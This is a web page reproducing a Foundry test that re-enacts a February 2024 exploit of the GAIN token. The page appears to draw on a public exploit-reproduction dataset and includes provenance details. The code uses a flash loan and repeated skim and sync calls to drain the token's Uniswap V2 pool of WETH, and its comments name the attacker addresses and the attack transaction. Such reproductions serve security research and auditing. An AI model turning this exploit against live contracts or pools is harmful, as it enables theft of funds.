Public reproduction file
src/test/2024-02/GAIN_exp.sol
Public reproduction file for dataset entry GAIN.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~18ETH8// Attacker : https://etherscan.io/address/0x0000000f95c09138dfea7d9bcf3478fc2e13dcab9// Attack Contract : https://etherscan.io/address/0x9a4b9fd32054bfe2099f2a0db24932a4d5f38d0f10// Created Attack Contract: https://etherscan.io/address/0x9A4B9FD32054bFE2099F2a0dB24932A4d5F38D0F11// Attack Tx : https://etherscan.io/tx/0x7acc896b8d82874c67127ff3359d7437a15fdb4229ed83da00da1f4d8370764e13// @Analysis16contract ContractTest is Test {17 IWETH WETH = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));18 IERC20 GAIN = IERC20(0xdE59b88abEFA5e6C8aA6D742EeE0f887Dab136ac);19 Uni_Pair_V3 univ3USDT = Uni_Pair_V3(0xc7bBeC68d12a0d1830360F8Ec58fA599bA1b0e9b);20 Uni_Pair_V2 univ2GAIN = Uni_Pair_V2(0x31d80EA33271891986D873B397d849A92EF49255);21 address[] private addrPath = new address[](2);22 uint256 totalBorrowed = 0.1 ether;24 function setUp() public {25 vm.createSelectFork("mainnet", 19_277_620 - 1);26 vm.label(address(WETH), "WETH");27 vm.label(address(univ3USDT), "Uniswap V3: USDT");28 vm.label(address(univ2GAIN), "Uniswap V2: GAIN");29 approveAll();30 }32 function testExploit() external {33 address[] memory tokens = new address[](1);34 tokens[0] = address(WETH);35 uint256[] memory amounts = new uint256[](1);36 amounts[0] = totalBorrowed;37 bytes memory userData = "";38 console.log("Before Start: %d ETH", WETH.balanceOf(address(this)));39 univ3USDT.flash(address(this), totalBorrowed, 0, userData);40 uint256 intRes = WETH.balanceOf(address(this)) / 1 ether;41 uint256 decRes = WETH.balanceOf(address(this)) - intRes * 1e18;42 console.log("Attack Exploit: %s.%s ETH", intRes, decRes);43 }45 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {46 WETH.transfer(address(univ2GAIN), totalBorrowed);47 exploitGAIN();48 WETH.transfer(address(univ3USDT), totalBorrowed + fee0);49 }51 function exploitGAIN() internal {52 uint256 amount = 100_000;53 univ2GAIN.swap(0, amount, address(this), "");54 GAIN.transfer(address(univ2GAIN), 100);55 univ2GAIN.skim(address(this));56 univ2GAIN.sync();57 GAIN.transfer(address(univ2GAIN), 188);58 univ2GAIN.skim(address(this));59 univ2GAIN.sync();60 GAIN.transfer(address(univ2GAIN), 130_000_000_000_000);61 uint256 leave_dust = WETH.balanceOf(address(univ2GAIN)) - WETH.balanceOf(address(univ2GAIN)) / 100;62 univ2GAIN.swap(leave_dust, 0, address(this), "");63 }65 function approveAll() internal {66 WETH.approve(address(this), type(uint256).max);67 }68}Analysis
Dataset entry
Public Foundry test for “GAIN” (2024-02-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
- src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
- src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
- src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
- src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
- src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
- src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
- src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
- src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
- src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
- src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
- src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
- src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
- src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
- src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
- src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
- src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
- src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0000000f95c09138dfea7d9bcf3478fc2e13dcab
- Attack Contract
0x9a4b9fd32054bfe2099f2a0db24932a4d5f38d0f
- Attack Tx
0x7acc896b8d82874c67127ff3359d7437a15fdb4229ed83da00da1f4d8370764e
File record
- Name
- GAIN
- Path
- src/test/2024-02/GAIN_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- bde69a7d54ba167de1cd71977259849b18131efa
- Language
- Solidity
- Size
- 69 lines
- Date
- 2024-02-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-02/GAIN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bde69a7d54ba167de1cd71977259849b18131efa, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.